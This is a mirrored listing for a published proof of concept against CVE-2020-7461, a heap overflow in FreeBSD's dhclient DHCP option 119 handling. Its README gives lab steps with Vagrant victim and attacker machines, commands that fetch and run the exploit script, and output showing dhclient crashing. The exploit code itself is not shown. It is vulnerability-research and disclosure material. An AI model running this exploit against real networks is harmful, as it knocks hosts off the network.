CVE-2020-7461 PoC — FreeBSD 缓冲区错误漏洞

Source

https://github.com/knqyf263/CVE-2020-7461

Associated Vulnerability

Title: FreeBSD 缓冲区错误漏洞 (CVE-2020-7461)
Description:In FreeBSD 12.1-STABLE before r365010, 11.4-STABLE before r365011, 12.1-RELEASE before p9, 11.4-RELEASE before p3, and 11.3-RELEASE before p13, dhclient(8) fails to handle certain malformed input related to handling of DHCP option 119 resulting a heap overflow. The heap overflow could in principle be exploited to achieve remote code execution. The affected process runs with reduced privileges in a Capsicum sandbox, limiting the immediate impact of an exploit.

Description

PoC for DHCP vulnerability (NAME:WRECK) in FreeBSD

Readme

# CVE-2020-7461
PoC for DHCP vulnerability (NAME:WRECK) in FreeBSD

For educational purposes only

## Environment
- Host: macOS 11.2.1
- Vagrant: 2.2.15
- Victim: FreeBSD 12.1-STABLE r364849
- Attacker: Ubuntu 20.04

## Disclaimer
This PoC will cause DoS instead of RCE to prevent abuse.

## PoC 

![wreck](imgs/wreck.png)

### Turn off DHCP server in VirtualBox

![dhcp](imgs/dhcp.png)

### Launch VMs

```
$ cd victim
$ vagrant up
$ cd ..
```

```
$ cd attacker
$ vagrant up
$ vagrant ssh
vagrant@vagrant:~$ sudo apt -y update && apt -y install python3 python3-pip
vagrant@vagrant:~$ wget https://raw.githubusercontent.com/knqyf263/CVE-2020-7461/main/poc.py
vagrant@vagrant:~$ python3 poc.py
Sniffing...
```

### Run dhclient

Open another terminal

```
$ cd victim
$ vagrant ssh
vagrant@freebsd:~ % sudo dhclient em1
DHCPREQUEST on em1 to 255.255.255.255 port 67
Invalid forward pointer in DHCP Domain Search option compression.
Segmentation fault
```

## References
- https://www.forescout.com/company/resources/namewreck-breaking-and-fixing-dns-implementations/
- https://www.freebsd.org/security/advisories/FreeBSD-SA-20:26.dhclient.asc

## Author
Teppei Fukuda

File Snapshot

Remarks

1. It is advised to access via the original source first.

2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.

View subscription plans →